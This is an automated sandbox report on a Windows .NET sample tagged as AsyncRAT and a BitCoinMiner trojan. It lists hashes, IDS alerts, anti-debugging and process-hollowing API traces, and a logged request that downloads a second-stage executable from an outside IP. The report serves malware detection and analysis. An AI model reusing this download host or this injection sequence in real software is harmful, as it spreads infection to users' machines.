Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	May 14, 2021, 9:42 a.m.	May 14, 2021, 9:44 a.m.

Size	96.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`14d054adca6f90371a4ce13a720dafbf`
SHA256	`f4b0e3c9b86e9f59a02eeac80af70f97963b4bc1b568e385f26f6e0f7e34058f`
CRC32	`9688CD1E`
ssdeep	`1536:7egwa2PiOZhfDZee4j9V6++LmngUs9oDUt6BfbjYpSUYNAxHMYiKZ8:qa2Pf7fdR3+DngUjQtonejxBZ8`
PDB Path	WindowsApp1.pdb
Yara	PE_Header_Zero - PE File Signature Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Is_DotNET_EXE - (no description) IsPE32 - (no description)

obf.exe "C:\Users\test22\AppData\Local\Temp\obf.exe"
4208
- Tempzi9.exe "C:\Users\test22\AppData\Local\Tempzi9.exe"
  1472

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
172.217.25.14	Active	Moloch
45.144.225.135	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49805 -> 45.144.225.135:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 45.144.225.135:80 -> 192.168.56.102:49805	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.144.225.135:80 -> 192.168.56.102:49805	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.144.225.135:80 -> 192.168.56.102:49805	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 14, 2021, 9:42 a.m.			0	0
IsDebuggerPresent May 14, 2021, 9:42 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

WindowsApp1.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 14, 2021, 9:42 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://45.144.225.135/notepad.exe

Performs some HTTP requests (1 event)

request

GET http://45.144.225.135/notepad.exe

Allocates read-write-execute memory (usually to unpack itself) (37 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fba1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fba2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00670000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00671000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0067d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0067e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0067f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00870000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x738d4000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01070000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01071000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01076000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01077000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c2f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 4208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01078000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00610000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02890000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Tempzi9.exe

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Tempzi9.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Tempzi9.exe

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 1472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 24576 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x003f0000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 14, 2021, 9:42 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 14, 2021, 9:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (1 event)

url	http://rbgCODE.com

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vba
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (2 events)

buffer	Buffer with sha1: 1e45c19599479a6673c137ed59386b56696b4949
buffer	Buffer with sha1: 156578aa646b102794128ef2c4cd58a8217103a0

Communicates with host for which no DNS query was performed (2 events)

host	172.217.25.14
host	45.144.225.135

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 8324 region_size: 6991872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x793d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000164	1	0	0

Manipulates memory of a non-child process indicative of process injection (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1472 manipulating memory of non-child process 8324
NtUnmapViewOfSection May 14, 2021, 9:42 a.m.	base_address: 0x793d6a79 region_size: 96313344 process_identifier: 8324 process_handle: 0x00000164		3221225497	0
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 8324 region_size: 6991872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x793d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000164	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1472 injected into non-child 8324
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: yj=y base_address: 0x7efde008 process_identifier: 8324 process_handle: 0x00000164	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1472 called NtSetContextThread to modify thread in remote process 8324
NtSetContextThread May 14, 2021, 9:42 a.m.	registers.eip: 2000355780 registers.esp: 1638384 registers.edi: 0 registers.eax: -1900647815 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000000f8 process_identifier: 8324	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1472 resumed a thread in remote process 8324
NtResumeThread May 14, 2021, 9:42 a.m.	thread_handle: 0x000000f8 suspend_count: 1 process_identifier: 8324	1	0	0

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Elastic	malicious (high confidence)
McAfee	Artemis!14D054ADCA6F
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.b3f303
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Avast	FileRepMetagen [Malware]
Kaspersky	HEUR:Trojan.MSIL.BitCoinMiner.gen
Paloalto	generic.ml
AegisLab	Trojan.MSIL.BitCoinMiner.4!c
Tencent	Msil.Trojan.Bitcoinminer.Dzka
Sophos	IObit Unlocker (PUA)
McAfee-GW-Edition	Artemis!Trojan
FireEye	Generic.mg.14d054adca6f9037
SentinelOne	Static AI - Malicious PE
Microsoft	Trojan:Win32/Wacatac.B!ml
AhnLab-V3	Trojan/Win32.RL_Generic.C4254120
Rising	Trojan.BitCoinMiner!8.1342 (CLOUD)
BitDefenderTheta	Gen:NN.ZemsilF.34690.gm0@aarbPWki
AVG	FileRepMetagen [Malware]
CrowdStrike	win/malicious_confidence_90% (W)

Executed a process and injected code into it, probably while unpacking (50 out of 15477 events)

Time & API	Arguments	Status	Return
NtResumeThread May 14, 2021, 9:42 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 4208	1	0
NtResumeThread May 14, 2021, 9:42 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 4208	1	0
NtResumeThread May 14, 2021, 9:42 a.m.	thread_handle: 0x00000194 suspend_count: 1 process_identifier: 4208	1	0
NtResumeThread May 14, 2021, 9:42 a.m.	thread_handle: 0x00000350 suspend_count: 1 process_identifier: 4208	1	0
CreateProcessInternalW May 14, 2021, 9:42 a.m.	thread_identifier: 4636 thread_handle: 0x000004f8 process_identifier: 1472 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Tempzi9.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Tempzi9.exe" filepath_r: C:\Users\test22\AppData\Local\Tempzi9.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004f0	1	1
CreateProcessInternalW May 14, 2021, 9:42 a.m.	thread_identifier: 6692 thread_handle: 0x000000f8 process_identifier: 8324 current_directory: filepath: C:\Users\test22\AppData\Local\Tempzi9.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Tempzi9.EXE stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000164	1	1
NtUnmapViewOfSection May 14, 2021, 9:42 a.m.	base_address: 0x793d6a79 region_size: 96313344 process_identifier: 8324 process_handle: 0x00000164		3221225497
NtAllocateVirtualMemory May 14, 2021, 9:42 a.m.	process_identifier: 8324 region_size: 6991872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x793d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000164	1	0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x793d6a79 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf2b6afd9 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1ce6b02f process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xe1b6e3be process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x797e361a process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xba090bb9 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xe8e40be8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xbce813be process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xe3e813be process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1fde6ab9 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xd08dd3be process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x227c6ab9 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xa952e3e8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x817ea9f2 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xd69ea9d4 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1ab6dfd6 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf2e113ee process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xc286b3c2 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf67c6ad6 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf2b6df81 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xba7d0e22 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf2b6dfb8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xb85fdee8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xd77e9dd8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x4cdfa9c9 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xba7ce3f2 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1b45abb8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x8634135f process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xbae40b81 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xeee40bb8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xeee40bb8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1be63e1b process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xbce813de process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xf23dab44 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1a45abb8 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xca3d6a7d process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0x1fde72ba process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xb8b6e3bc process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xba9ac5d7 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xba7ce3f2 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xde8ec079 process_identifier: 8324 process_handle: 0x00000164		0
WriteProcessMemory May 14, 2021, 9:42 a.m.	buffer: base_address: 0xde49dff2 process_identifier: 8324 process_handle: 0x00000164		0

obf.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All